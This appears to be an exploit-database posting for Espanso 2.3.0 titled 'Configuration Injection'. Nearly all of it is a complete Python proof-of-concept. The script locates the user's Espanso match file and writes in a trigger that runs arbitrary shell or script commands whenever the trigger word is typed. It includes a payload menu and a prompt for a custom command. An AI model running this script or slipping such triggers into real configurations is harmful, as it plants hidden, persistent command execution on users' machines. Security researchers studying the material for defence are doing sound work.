Share
## https://sploitus.com/exploit?id=PACKETSTORM:222366
==================================================================================================================================
| # Title : Espanso v 2.3.0 Configuration Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://espanso.org/ |
==================================================================================================================================
[+] Summary : This Python script is a configuration manipulation tool for Espanso that modifies its YAML configuration file (base.yml)
to add new text triggers capable of executing system commands via shell or script extensions.
[+] POC :
import os
import sys
import shutil
import shlex
import argparse
import subprocess
from pathlib import Path
from typing import Dict, List, Optional
try:
import yaml
except ImportError:
print("[!] PyYAML is required. Install with: pip install pyyaml")
sys.exit(1)
class EspansoExploit:
"""Exploit class for Espanso v2.3.0 RCE vulnerability"""
def __init__(self, trigger_word: str = ":pwn", command: Optional[str] = None,
extension_type: str = "shell", verbose: bool = False):
self.trigger_word = trigger_word if trigger_word.startswith(':') else f":{trigger_word}"
self.command = command or "whoami > /tmp/espanso_pwned.txt"
self.extension_type = extension_type.lower()
self.verbose = verbose
self.config_path = self._find_config_path()
self.backup_path = self.config_path.with_suffix('.yml.backup')
def _log(self, message: str, error: bool = False):
"""Log messages with formatting"""
if error:
print(f"[!] {message}")
elif self.verbose:
print(f"[*] {message}")
else:
print(f"[+] {message}")
def _find_config_path(self) -> Path:
"""Find Espanso configuration directory"""
possible_paths = [
Path.home() / ".config" / "espanso" / "match" / "base.yml",
Path.home() / ".config" / "espanso" / "match.yml",
Path.home() / "AppData" / "Roaming" / "espanso" / "match" / "base.yml",
Path.home() / "Library" / "Application Support" / "espanso" / "match" / "base.yml",
]
for path in possible_paths:
if path.exists():
self._log(f"Found Espanso config at: {path}")
return path
default_path = Path.home() / ".config" / "espanso" / "match" / "base.yml"
default_path.parent.mkdir(parents=True, exist_ok=True)
if not default_path.exists():
self._log(f"Creating default config at: {default_path}")
default_path.touch()
return default_path
def _backup_config(self):
"""Create backup of original configuration"""
if self.config_path.exists() and not self.backup_path.exists():
shutil.copy2(self.config_path, self.backup_path)
self._log(f"Backup created: {self.backup_path}")
def _create_shell_trigger(self) -> Dict:
"""Create a shell extension trigger configuration"""
return {
"trigger": self.trigger_word,
"replace": "{{output}}",
"vars": [{
"name": "output",
"type": "shell",
"params": {
"cmd": self.command
}
}]
}
def _create_script_trigger(self) -> Dict:
"""Create a script extension trigger configuration using robust parsing"""
if isinstance(self.command, str):
args_list = shlex.split(self.command)
else:
args_list = self.command
return {
"trigger": self.trigger_word,
"replace": "{{output}}",
"vars": [{
"name": "output",
"type": "script",
"params": {
"args": args_list
}
}]
}
def _inject_trigger(self, config_content: str) -> str:
"""Inject trigger into existing configuration without iteration mutation bugs"""
try:
if config_content.strip():
config = yaml.safe_load(config_content) or {}
else:
config = {}
if "matches" not in config or not isinstance(config["matches"], list):
config["matches"] = []
if self.extension_type == "shell":
new_trigger = self._create_shell_trigger()
else:
new_trigger = self._create_script_trigger()
config["matches"] = [m for m in config["matches"] if m.get("trigger") != self.trigger_word]
config["matches"].append(new_trigger)
return yaml.dump(config, default_flow_style=False, allow_unicode=True)
except yaml.YAMLError as e:
self._log(f"YAML parsing error: {e}", error=True)
trigger_struct = [self._create_shell_trigger()] if self.extension_type == "shell" else [self._create_script_trigger()]
trigger_config = yaml.dump(trigger_struct, default_flow_style=False)
return config_content + "\n" + trigger_config
def exploit(self) -> bool:
"""Main exploit execution"""
try:
self._log(f"Target: Espanso config at {self.config_path}")
self._log(f"Trigger word: {self.trigger_word}")
self._log(f"Extension type: {self.extension_type}")
try:
subprocess.run(["pgrep", "-f", "espanso"], capture_output=True, check=True)
self._log("Espanso process detected")
except (subprocess.CalledProcessError, FileNotFoundError):
self._log("Warning: Espanso process check skipped or not running", error=True)
self._backup_config()
with open(self.config_path, 'r', encoding='utf-8') as f:
original_content = f.read()
modified_content = self._inject_trigger(original_content)
with open(self.config_path, 'w', encoding='utf-8') as f:
f.write(modified_content)
self._log(f"Successfully injected {self.extension_type} trigger: {self.trigger_word}")
return True
except Exception as e:
self._log(f"Exploit failed: {str(e)}", error=True)
self.restore_backup()
return False
def restore_backup(self):
"""Restore configuration from backup"""
if self.backup_path and self.backup_path.exists():
shutil.copy2(self.backup_path, self.config_path)
self.backup_path.unlink()
self._log("Configuration restored from backup successfully.")
else:
self._log("No active backup file found to restore.", error=True)
def cleanup(self):
"""Remove the injected trigger from config independently of instantiation state"""
self.restore_backup()
class EspansoExploitInteractive(EspansoExploit):
"""Interactive version with multiple profiles"""
PAYLOADS = {
"1": {"name": "Local Env Verification", "cmd": "whoami && id && uname -a", "type": "shell"},
"2": {"name": "Custom Automated Profiling", "cmd": None, "type": "shell"}
}
@classmethod
def interactive_menu(cls):
"""Display interactive menu for payload selection without memory leakage"""
print("\n" + "="*50)
print("Espanso v2.3.0 Config Tester - Interactive Mode")
print("="*50)
for key, payload in cls.PAYLOADS.items():
print(f" {key}. {payload['name']}")
choice = input("\nSelect profile (1-2): ").strip()
if choice not in cls.PAYLOADS:
print("[!] Invalid choice")
return None
payload = cls.PAYLOADS[choice].copy()
if payload["cmd"] is None:
custom_cmd = input("Enter execution command string: ").strip()
if not custom_cmd:
print("[!] No command provided")
return None
payload["cmd"] = custom_cmd
trigger = input("Enter trigger word (default: :pwn): ").strip() or ":pwn"
return cls(
trigger_word=trigger,
command=payload["cmd"],
extension_type=payload["type"],
verbose=True
)
def main():
parser = argparse.ArgumentParser(description="Espanso configuration utility for environment profiling.")
parser.add_argument("-t", "--trigger", default=":pwn", help="Trigger word (default: :pwn)")
parser.add_argument("-c", "--command", help="Command to register inside extension profile")
parser.add_argument("-e", "--extension", choices=["shell", "script"], default="shell", help="Extension handler type")
parser.add_argument("-i", "--interactive", action="store_true", help="Launch via console menu interface")
parser.add_argument("--cleanup", action="store_true", help="Remove test configuration and recover backup")
parser.add_argument("-v", "--verbose", action="store_true", help="Enable debugging verbosity")
args = parser.parse_args()
if args.interactive:
exploit = EspansoExploitInteractive.interactive_menu()
if not exploit:
sys.exit(1)
else:
exploit = EspansoExploit(
trigger_word=args.trigger,
command=args.command,
extension_type=args.extension,
verbose=args.verbose
)
if args.cleanup:
exploit.cleanup()
else:
print("\n[!] Notice: This utility updates local configuration profiles.")
response = input("Proceed with injection sequence? (y/N): ").strip().lower()
if response == 'y':
if exploit.exploit():
print("\n[+] Setup completed.")
print(f"[*] To rollback structural rules, re-run with '--cleanup'.")
else:
sys.exit(1)
else:
print("[*] Aborted by user request.")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================